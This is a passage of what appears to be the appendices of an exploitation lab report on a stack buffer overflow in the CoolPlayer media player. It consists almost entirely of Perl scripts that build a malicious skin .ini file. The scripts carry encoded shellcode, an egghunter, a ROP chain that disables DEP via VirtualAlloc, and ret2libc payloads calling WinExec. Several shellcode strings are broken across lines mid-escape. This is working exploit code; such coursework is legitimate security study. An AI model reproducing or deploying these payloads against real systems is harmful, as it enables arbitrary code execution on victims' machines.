n9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4
Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt
0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M
";

open($FILE, ">$file");
print $FILE $buffer;
```

#### crash4.pl

```
$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .= "BBBB";
$buffer .= "CCCC";
$buffer .= "DDDD";
open($FILE, ">$file");
print $FILE $buffer;
close;
```

#### crashcalc.pl

```
$file= "crash.ini";
```

```

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .= pack('V',0x7C86467B);
#NOP Padding
$buffer .= "\x90" x 16;
#Calculator Shellcode
$buffer .=
"\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x43\x43\x43" . "\x43\x43\x43\x43
\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34" . "\x41\x50\x30\x41\x33\x48\x48\x30\
\x41\x30\x30\x41\x42\x41" . "\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x
30\x42" . "\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b" . "\x39\x4
5\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56" . "\x51\x49\x42\x43\x54\x4c
\x4b\x56\x32\x56\x50\x4c\x4b\x56" . "\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\
\x4b\x54\x32\x47" . "\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x56"
. "\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56" . "\x4c\x47\x50\x4
9\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a" . "\x42\x4c\x30\x50\x52\x51\x47\x4c
\x4b\x56\x32\x54\x50\x4c" . "\x4b\x47\x32\x47\x4c\x45\x51\x58\x50\x4c\x4b\x47\
\x30\x54" . "\x38\x4b\x35\x49\x50\x54\x34\x51\x5a\x45\x51\x4e\x30\x50" . "\x50\x
4c\x4b\x47\x38\x45\x48\x4c\x4b\x50\x58\x51\x30\x45" . "\x51\x58\x53\x5a\x43\x4
7\x4c\x47\x39\x4c\x4b\x47\x44\x4c" . "\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50
\x31\x4f\x30\x4e" . "\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x56\x58\x4d"
. "\x30\x43\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43" . "\x4d\x56\x44\x5
4\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56" . "\x44\x43\x31\x4e\x33\x43\x56\x4c
\x4b\x54\x4c\x50\x4b\x4c" . "\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\
\x44\x4c" . "\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51" . "\x4b\x
51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b" . "\x50\x50\x58\x51\x4f\x5
0\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c" . "\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b
\x35\x4f\x49\x43" . "\x30\x45\x50\x43\x30\x56\x30\x45\x38\x56\x51\x4c\x4b\x52"
. "\x4f\x4b\x37\x4b\x4f\x4e\x35\x4f\x4b\x5a\x50\x58\x35\x4e" . "\x42\x56\x36\x4
5\x38\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b" . "\x4f\x58\x55\x47\x4c\x54\x46\x43
\x4c\x54\x4a\x4d\x50\x4b" . "\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x54\
\x53\x43" . "\x42\x52\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x58\x55\x52" . "\x43\x
43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43" . "\x55\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $buffer;

```

### crashadvanced.pl

```

$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .= pack('V',0x7C86467B);
#NOP Padding
$buffer .= "\x90" x 16;
#Advanced Shellcode
$buffer .= "\x89\xe3\xdb\xcb\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x4b\x39\x45\x50\x45\x50\x43\x30\x43\x50\x4b\x39\x5a" .
"\x45\x50\x31\x58\x52\x43\x54\x4c\x4b\x56\x32\x50\x30\x4c" .
"\x4b\x50\x52\x54\x4c\x4c\x4b\x56\x32\x54\x54\x4c\x4b\x54" .
"\x32\x47\x58\x54\x4f\x58\x37\x50\x4a\x47\x56\x56\x51\x4b" .

```

```

"\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43" .
"\x32\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f" .
"\x37\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x50\x52\x52" .
"\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c\x4b\x51" .
"\x50\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x43\x31\x4e" .
"\x30\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x56\x38\x51" .
"\x30\x43\x31\x49\x43\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x56" .
"\x54\x4c\x4b\x45\x51\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f" .
"\x30\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x49\x57\x56" .
"\x58\x4d\x30\x54\x35\x5a\x54\x54\x43\x43\x4d\x5a\x58\x47" .
"\x4b\x43\x4d\x56\x44\x54\x35\x5a\x42\x50\x58\x4c\x4b\x51" .
"\x48\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50" .
"\x4b\x4c\x4b\x56\x38\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43" .
"\x34\x4c\x4b\x45\x51\x58\x50\x4b\x39\x47\x34\x56\x44\x47" .
"\x54\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x56\x31\x4b" .
"\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c\x4b\x54\x52\x5a" .
"\x4b\x4c\x46\x51\x4d\x43\x58\x56\x53\x47\x42\x43\x30\x43" .
"\x30\x43\x58\x52\x57\x54\x33\x56\x52\x51\x4f\x56\x34\x43" .
"\x58\x50\x4c\x43\x47\x56\x46\x54\x47\x4b\x4f\x4e\x35\x4e" .
"\x58\x5a\x30\x43\x31\x45\x50\x43\x30\x56\x49\x4f\x34\x50" .
"\x54\x50\x50\x43\x58\x56\x49\x4b\x30\x52\x4b\x43\x30\x4b" .
"\x4f\x4e\x35\x56\x30\x50\x50\x50\x50\x56\x30\x51\x50\x56" .
"\x30\x51\x50\x56\x30\x45\x38\x4b\x5a\x54\x4f\x49\x4f\x4d" .
"\x30\x4b\x4f\x58\x55\x4d\x59\x49\x57\x45\x38\x4f\x30\x49" .
"\x38\x43\x30\x4d\x4e\x45\x38\x43\x32\x43\x30\x52\x31\x51" .
"\x4c\x4b\x39\x4b\x56\x43\x5a\x52\x30\x56\x36\x56\x37\x45" .
"\x38\x5a\x39\x49\x35\x52\x54\x43\x51\x4b\x4f\x58\x55\x45" .
"\x38\x43\x53\x52\x4d\x52\x44\x43\x30\x4c\x49\x5a\x43\x56" .
"\x37\x56\x37\x50\x57\x50\x31\x4b\x46\x43\x5a\x52\x32\x50" .
"\x59\x51\x46\x4d\x32\x4b\x4d\x43\x56\x4f\x37\x47\x34\x51" .
"\x34\x47\x4c\x45\x51\x45\x51\x4c\x4d\x50\x44\x51\x34\x54" .
"\x50\x58\x46\x45\x50\x51\x54\x50\x54\x56\x30\x56\x36\x56" .
"\x36\x50\x56\x51\x56\x51\x46\x50\x4e\x50\x56\x56\x36\x51" .
"\x43\x51\x46\x52\x48\x54\x39\x58\x4c\x47\x4f\x4c\x46\x4b" .
"\x4f\x58\x55\x4d\x59\x4d\x30\x50\x4e\x56\x36\x47\x36\x4b" .
"\x4f\x56\x50\x45\x38\x43\x38\x4c\x47\x45\x4d\x43\x50\x4b" .
"\x4f\x58\x55\x4f\x4b\x5a\x50\x58\x35\x4e\x42\x51\x46\x45" .
"\x38\x4f\x56\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x49\x45\x47" .
"\x4c\x54\x46\x43\x4c\x45\x5a\x4b\x30\x4b\x4b\x4d\x30\x54" .
"\x35\x45\x55\x4f\x4b\x51\x57\x54\x53\x54\x32\x52\x4f\x52" .
"\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x41\x41";
open($FILE,">$file");
print $FILE $buffer;

```

### egghunter.pl

```

$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1035;
$buffer .= pack('V',0x7C86467B);
#NOP Padding
$buffer .= "\x90" x 16;
#Egg Hunter shellcode
$buffer .=
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t

```

```

"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

#More NOP Padding
$buffer .= "\x90" x 200;
#Egg Tag
$buffer .= "w00tw00t";
#Calculator Shellcode
$buffer .=
"\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x43\x43\x43" . "\x43\x43\x43\x43
\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34" . "\x41\x50\x30\x41\x33\x48\x48\x30\
\x41\x30\x30\x41\x42\x41" . "\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x
30\x42" . "\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b" . "\x39\x4
5\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56" . "\x51\x49\x42\x43\x54\x4c
\x4b\x56\x32\x56\x50\x4c\x4b\x56" . "\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\
x4b\x54\x32\x47" . "\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x56"
. "\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56" . "\x4c\x47\x50\x4
9\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a" . "\x42\x4c\x30\x50\x52\x51\x47\x4c
\x4b\x56\x32\x54\x50\x4c" . "\x4b\x47\x32\x47\x4c\x45\x51\x58\x50\x4c\x4b\x47\
x30\x54" . "\x38\x4b\x35\x49\x50\x54\x34\x51\x5a\x45\x51\x4e\x30\x50" . "\x50\x
4c\x4b\x47\x38\x45\x48\x4c\x4b\x50\x58\x51\x30\x45" . "\x51\x58\x53\x5a\x43\x4
7\x4c\x47\x39\x4c\x4b\x47\x44\x4c" . "\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50
\x31\x4f\x30\x4e" . "\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x56\x58\x4d"
. "\x30\x43\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43" . "\x4d\x56\x44\x5
4\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56" . "\x44\x43\x31\x4e\x33\x43\x56\x4c
\x4b\x54\x4c\x50\x4b\x4c" . "\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\
x44\x4c" . "\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51" . "\x4b\x
51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b" . "\x50\x50\x58\x51\x4f\x5
0\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c" . "\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b
\x35\x4f\x49\x43" . "\x30\x45\x50\x43\x30\x56\x30\x45\x38\x56\x51\x4c\x4b\x52"
. "\x4f\x4b\x37\x4b\x4f\x4e\x35\x4f\x4b\x5a\x50\x58\x35\x4e" . "\x42\x56\x36\x4
5\x38\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b" . "\x4f\x58\x55\x47\x4c\x54\x46\x43
\x4c\x54\x4a\x4d\x50\x4b" . "\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x54\
x53\x43" . "\x42\x52\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x58\x55\x52" . "\x43\x
43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43" . "\x55\x45\x50\x41\x41";

open($FILE, ">$file");
print $FILE $buffer;
close;

```

## APPENDIX B – PERL SCRIPTS (DEP ON)

### ropchain.pl

```

$file= "crash.ini";

$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1041;

#RETN Instruction
$buffer .= pack('V', 0x77c1258a);

#ROP Chain to disable DEP
$buffer .= pack('V', 0x77c32a3f); #POP EBP # RETN [msvcrt.dll]
$buffer .= pack('V', 0x77c32a3f); #skip 4 bytes [msvcrt.dll]
#[---INFO:gadgets to set ebx:---]

```

```

$buffer .= pack('V',0x77c47653); #POP EBX # RETN [msvcrt.dll]
$buffer .= pack('V',0xffffffff); #
$buffer .= pack('V',0x77c127e5); #INC EBX # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c127e5); #INC EBX # RETN [msvcrt.dll]
    #[--INFO:gadgets_to_set_edx:--]
$buffer .= pack('V',0x77c34fcd); #POP EAX # RETN [msvcrt.dll]
$buffer .= pack('V',0x2cfe1467); #put delta into eax (-> put 0x00001000 into
edx)
$buffer .= pack('V',0x77c4eb80); #ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN
[msvcrt.dll]
$buffer .= pack('V',0x77c58fbc); #XCHG EAX,EDX # RETN [msvcrt.dll]
    #[--INFO:gadgets_to_set_ecx:--]
$buffer .= pack('V',0x77c34de1); #POP EAX # RETN [msvcrt.dll]
$buffer .= pack('V',0x2cfe04a7); #put delta into eax (-> put 0x00000040 into
ecx)
$buffer .= pack('V',0x77c4eb80); #ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN
[msvcrt.dll]
$buffer .= pack('V',0x77c14001); #XCHG EAX,ECX # RETN [msvcrt.dll]
    #[--INFO:gadgets_to_set_edi:--]
$buffer .= pack('V',0x77c47a26); #POP EDI # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c47a42); #RETN (ROP NOP) [msvcrt.dll]
    #[--INFO:gadgets_to_set_esi:--]
$buffer .= pack('V',0x77c46efb); #POP ESI # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c2aacc); #JMP [EAX] [msvcrt.dll]
$buffer .= pack('V',0x77c21d16); #POP EAX # RETN [msvcrt.dll]
$buffer .= pack('V',0x77c1110c); #ptr to &VirtualAlloc() [IAT msvcrt.dll]
    #[--INFO:pushad:--]
$buffer .= pack('V',0x77c12df9); #PUSHAD # RETN [msvcrt.dll]
    #[--INFO:extras:--]
$buffer .= pack('V',0x77c35459); #ptr to 'push esp # ret ' [msvcrt.dll]

#NOP Padding
$buffer .="\x90" x 16;

#Calculator shellcode
$buffer .= "\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x43\x43\x43" .
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34" .
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41" .
"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" .
"\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b" .
"\x39\x45\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56" .
"\x51\x49\x42\x43\x54\x4c\x4b\x56\x32\x56\x50\x4c\x4b\x56" .
"\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\x4b\x54\x32\x47" .
"\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x56" .
"\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56" .
"\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a" .
"\x42\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50\x4c" .
"\x4b\x47\x32\x47\x4c\x45\x51\x58\x50\x4c\x4b\x47\x30\x54" .
"\x38\x4b\x35\x49\x50\x54\x34\x51\x5a\x45\x51\x4e\x30\x50" .
"\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x50\x58\x51\x30\x45" .
"\x51\x58\x53\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44\x4c" .
"\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e" .
"\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x56\x58\x4d" .
"\x30\x43\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43" .
"\x4d\x56\x44\x54\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56" .
"\x44\x43\x31\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c" .
"\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\x44\x4c" .

```

```

"\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51" .
"\x4b\x51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b" .
"\x50\x50\x58\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c" .
"\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b\x35\x4f\x49\x43" .
"\x30\x45\x50\x43\x30\x56\x30\x45\x38\x56\x51\x4c\x4b\x52" .
"\x4f\x4b\x37\x4b\x4f\x4e\x35\x4f\x4b\x5a\x50\x58\x35\x4e" .
"\x42\x56\x36\x45\x38\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b" .
"\x4f\x58\x55\x47\x4c\x54\x46\x43\x4c\x54\x4a\x4d\x50\x4b" .
"\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x54\x53\x43" .
"\x42\x52\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x58\x55\x52" .
"\x43\x43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43" .
"\x55\x45\x50\x41\x41";
open($FILE, ">$file");
print $FILE $buffer;

```

### ret2libc1.pl

```

$file= "crash.ini";

$header = "[CoolPlayer Skin]\nPlaylistSkin=";

$shellcode = "cmd /c calc&";
$buffer = $header. $shellcode. "A" x (1041 - length ($shellcode));

$buffer .= pack('V', 0x7c8623ad);

open($FILE, ">$file");
print $FILE $buffer;
close;

```

### ret2libc2.pl

```

$file= "crash.ini";

$header = "[CoolPlayer Skin]\nPlaylistSkin=";

$shellcode = "cmd /c calc&";
$buffer = $header. $shellcode. "A" x (1041 - length ($shellcode));

$buffer .= pack('V', 0x7c8623ad); # winexec
$buffer .= pack('V', 0x7c81cafa); # exitprocess
$buffer .= pack('V', 0x0011EDF7); # cmdline address
$buffer .= pack('V', 0xffffffff); # window style

open($FILE, ">$file");
print $FILE $buffer;
close;

```